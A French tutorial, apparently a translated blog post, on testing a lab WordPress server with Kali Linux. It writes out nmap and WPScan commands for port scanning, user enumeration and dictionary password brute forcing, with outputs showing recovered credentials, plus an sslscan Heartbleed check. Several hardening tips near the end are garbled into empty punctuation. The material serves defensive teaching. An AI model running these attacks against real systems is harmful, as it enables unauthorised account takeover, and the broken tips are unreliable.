Trouver et ne pas neutraliser: écrire des tests de pénétration avec Kali Linux

Kali et d'autres outils similaires aident à détecter les vulnérabilités de votre logiciel. Et c'est mieux si vous les trouvez en premier, et non les intrus.







Vous ne pouvez pas cacher un poinçon dans un sac: par ignorance (bien que dans certains cas - intentionnellement), mĂȘme les grandes entreprises laissent des trous dans leur systĂšme de sĂ©curitĂ©. Il est essentiel de (1) les localiser et (2) les corriger le plus rapidement possible. Heureusement, il existe de nombreux produits diffĂ©rents qui aident avec le premier point. Parmi eux , Kali , une distribution Linux conçue pour les tests de sĂ©curitĂ©. Dans cet article, je vais vous montrer comment utiliser Kali Linux pour enquĂȘter sur votre systĂšme et trouver des faiblesses en simulant un attaquant.



La distribution Kali comprend de nombreux outils, tous open source. Il suffit de lancer l'installation de la distribution et tous ces outils seront disponibles prĂȘts Ă  l'emploi.







Image : Peter Gervase , CC BY-SA 4.0



J'utiliserai deux systĂšmes comme sujets de test:



  1. kali.usersys.redhat.com : 30 Go de mémoire et 6 processeurs virtuels. Ce systÚme analysera la victime et lancera des attaques.



  2. VulnĂ©rable.usersys.redhat.com : Un systĂšme avec Red Hat Enterprise Linux 8 intĂ©grĂ©. Ici, il devra ĂȘtre attaquĂ©.


J'ai mentionné les caractéristiques techniques de l'équipement ici pour une raison. Certaines de nos tùches sont assez exigeantes sur le matériel, en particulier le processeur systÚme 2, qui exécutera le scanner de sécurité WordPress ( WPScan ).



Rechercher des ports ouverts



J'ai commencé par une analyse de base du systÚme 2. En analysant le systÚme avec Nmap , vous pouvez découvrir quels ports et services sont visibles à partir du systÚme 1 en commençant l'analyse.







Image : Peter Gervase , CC BY-SA 4.0



La premiÚre chose à faire est donc de trouver des ports ouverts «intéressants» - des faiblesses potentielles. En fait, tout port ouvert est intéressant car il est plus susceptible de compromettre le réseau. Dans cet exemple, 21, 22, 80 et 443 sont également des ports pour des services fréquemment utilisés. Mais pour l'instant, je fais juste du renseignement et j'essaie d'obtenir autant d'informations que possible sur le systÚme que je veux pirater.



AprÚs cela, pour une analyse plus approfondie, je sélectionnerai le port 80 et exécuterai la commande Nmap avec les arguments -p 80 et -A. Cela vous permet d'obtenir des informations sur le systÚme d'exploitation et l'application qui utilise le port 80.







Image : Peter Gervase , CC BY-SA 4.0



Nous nous intéressons ici aux lignes suivantes:



PORT   STATE SERVICE VERSION

80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))

|_http-generator: WordPress 5.6.1
      
      







Recherche d'informations sur les utilisateurs



Puisque je sais maintenant qu'il s'agit d'un serveur WordPress, je peux utiliser WPScan pour obtenir des informations sur les vulnérabilités potentielles. Ce serait bien de trouver plusieurs noms d'utilisateur et leurs mots de passe. Pour les trouver dans une instance WordPress donnée, utilisez les options --enumerate u: Excellent, j'ai trouvé deux utilisateurs: admin et pgervase . J'essaierai de deviner le mot de passe de l'utilisateur administrateur à l'aide de dictionnaires de mots de passe - un fichier texte avec un ensemble d'options possibles. Je prendrai des dictionnaires de 3 231 et 3 543 076 137 lignes.



┌──(rootkali)-[~]



└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u



_______________________________________________________________



        __              _______   _____



        \ \     / /  __ \ / ____|



        \ \  /\  / /| |__) | (___   ___  __ _ _ __



        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \



                \  /\  /  | |   ____) | (__| (_| | | | |



                \/  \/   |_|    |_____/ \___|\__,_|_| |_|



        WordPress Security Scanner by the WPScan Team



                        Version 3.8.10



        Sponsored by Automattic — https://automattic.com/



        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart



_______________________________________________________________



[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]



[+] Started: Tue Feb 16 21:38:49 2021



Interesting Finding(s):



...



[i] User(s) Identified:



[+] admin



 | Found By: Author Posts — Display Name (Passive Detection)



 | Confirmed By:



 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)



 |  Login Error Messages (Aggressive Detection)



[+] pgervase



 | Found By: Author Posts — Display Name (Passive Detection)



 | Confirmed By:



 |  Author Id Brute Forcing — Author Pattern (Aggressive Detection)



 |  Login Error Messages (Aggressive Detection)











Deviner le mot de passe avec une attaque par dictionnaire



DiffĂ©rents outils peuvent ĂȘtre utilisĂ©s pour les attaques par dictionnaire. Voici deux exemples de commandes avec Nmap et WPScan:



# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com

# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

      
      





Ces deux outils, bien sĂ»r, peuvent faire beaucoup plus, mais ils conviennent Ă©galement pour deviner les mots de passe. 



Mais cette commande WPScan, par exemple, affiche le mot de passe Ă  la fin du fichier:



┌──(rootkali)-[~]

└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin

_______________________________________________________________

        __              _______   _____

        \ \     / /  __ \ / ____|

        \ \  /\  / /| |__) | (___   ___  __ _ _ __ 

        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \

                \  /\  /  | |   ____) | (__| (_| | | | |

                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team

                        Version 3.8.10

        Sponsored by Automattic — https://automattic.com/

        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]

[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):


..

[+] Performing password attack on Wp Login against 1 user/s

Trying admin / redhat Time: 00:01:57 

<==================================================================================================================>

 (3231 / 3231) 100.00% Time: 00:01:57

Trying admin / redhat Time: 00:01:57 

<=========================================================            

                                             > (3231 / 6462) 50.00% 

 ETA: ??:??:??

[SUCCESS] — admin / redhat                                              

                                                                        

                                                

[!] Valid Combinations Found:

 | Username: admin, Password: redhat
      
      





La section Combinaisons valides trouvées à la fin contient le nom d'utilisateur admin et son mot de passe. Il n'a fallu que deux minutes pour parcourir 3 231 lignes.



J'ai un autre fichier de dictionnaire avec 3 238 659 984 entrées uniques, ce qui prendra beaucoup plus de temps.



Nmap produit des résultats beaucoup plus rapidement:



┌──(rootkali)-[~]

└─# nmap -sV --script http-wordpress-brute 

--script-args userdb=users.txt,passdb=password.txt,threads=6 

vulnerable.usersys.redhat.com

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST

Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)

Host is up (0.00015s latency).

Not shown: 995 closed ports

PORT    STATE SERVICE VERSION

21/tcp   open  ftp      vsftpd 3.0.3

22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)

80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))

|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)

| http-wordpress-brute:

|   Accounts:

|       admin:redhat — Valid credentials              <<<<<<<

|       pgervase:redhat — Valid credentials         <<<<<<<

|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0

111/tcp  open  rpcbind 2-4 (RPC #100000)

| rpcinfo:

|   program version     port/proto  service

|   100000  2,3,4       111/tcp   rpcbind

|   100000  2,3,4       111/udp   rpcbind

|   100000  3,4         111/tcp6  rpcbind

|_  100000  3,4         111/udp6  rpcbind

3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB

MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)

Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
      
      







Certes, une telle analyse peut ĂȘtre suivie par les journaux HTTPD qui seront dĂ©tectĂ©s dans le systĂšme compromis:



10.19.47.170

 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575

 Â«http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 

(https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»

10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php 

HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan 

v3.8.10 (https://wpscan.org/)»
      
      







Rechercher Heartbleed Vulnerability



Pour obtenir des informations sur le serveur HTTPS et les protocoles SSL / TLS, j'utilise la commande sslscan:



┌──(rootkali)-[~]

└─# sslscan vulnerable.usersys.redhat.com

Version: 2.0.6-static

OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:

SSLv2   disabled

SSLv3   disabled

TLSv1.0   disabled

TLSv1.1   disabled

TLSv1.2   enabled

TLSv1.3   enabled

<snip>
      
      







On voit qu'aucune vulnérabilité Heartbleed n'a été trouvée dans les versions de protocole utilisées sur le serveur :



Heartbleed:

TLSv1.3 not vulnerable to heartbleed

TLSv1.2 not vulnerable to heartbleed
      
      







Eh bien, cela signifie que je ne peux pas accéder à la RAM et aux données du serveur via le module Heartbeat. Eh bien ... ce n'est pas le destin :)



Conseils de prévention et de protection contre le piratage



Vous pouvez écrire de nombreux articles sur la façon de résister aux attaques de pirates de tous bords. Ici, je me limiterai aux recommandations générales:



  • Examinez votre systĂšme : quels ports sont ouverts, quels ports devraient ĂȘtre ouverts, qui devrait pouvoir voir ces ports et combien de trafic devrait les traverser. Nmap pour vous aider.



  • : , , ​​. .



  • : , , WordPress, IP- . , IP- , . , .



  • : , .



  • : , . , .



  • , : , « - ».



  • Tirez parti des outils supplĂ©mentaires de vos fournisseurs de logiciels: par exemple, Red Hat Enterprise Linux inclut Red Hat Insights pour rĂ©gler votre systĂšme et vous alerter en temps opportun des menaces de sĂ©curitĂ© potentielles.


Matériel utile (en anglais)



Ce qui est décrit dans cet article n'est que la pointe de l'iceberg. Pour approfondir, vous pouvez explorer les ressources suivantes:










Les serveurs cloud de Macleod sont rapides et sécurisés.



Inscrivez-vous en utilisant le lien ci-dessus ou en cliquant sur la banniÚre et bénéficiez d'une remise de 10% pour le premier mois de location d'un serveur de toute configuration!






All Articles